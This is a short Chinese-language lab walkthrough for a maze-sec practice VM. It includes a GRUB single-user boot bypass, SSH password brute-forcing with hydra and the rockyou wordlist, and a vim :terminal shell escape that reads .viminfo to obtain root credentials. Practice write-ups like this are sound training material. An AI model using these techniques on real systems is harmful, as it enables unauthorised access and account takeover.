1
2
3
获取靶机地址：
https://maze-sec.com/
qq群：660930334

配置：

1
2
3
4
5
6
7
8
9
10
11
12
靶机用VirtualBox制作，VMware导入可能网卡不兼容
用户:todd 密码:qq660930334
1. 启动虚拟机时按`e`键进入GRUB编辑模式
2. 修改启动参数：将`ro`改为`rw single init=/bin/bash`
3. 按Ctrl+X启动进入单用户模式
vim /etc/network/interfaces
allow-hotplug ens33
iface ens33 inet dhcp

ip link set ens33 up
dhclient ens33
reboot -f

端口扫描

image-20251219105429862

1
22,80,113端口，113端口泄露了vim用户名，先尝试爆破ssh，再去看看80端口

80端口探测

image-20251219105644347

image-20251219105653719

1
是一个vim，没有什么特别的东西

爆破获得用户账号密码

1
2
hydra -l vim -P /usr/share/wordlists/rockyou.txt 192.168.44.151 ssh
vim/000001

ssh连接

1
ssh vim@192.168.44.151

image-20251219105823021

1
在vim当中 :version可以看到版本信息和能使用的命令

image-20251219105915701

1
2
3
4
发现可以:terminal执行命令
:terminal ls -la
查看vim的配置信息
:terminal cat .viminfo

image-20251219111620018

image-20251219111634299

1
获得账号密码 root/xxxxoooo

image-20251219111728324

总结

1
113端口信息泄露用户名，爆破密码，vim配置可以执行命令有配置信息，泄露root账号密码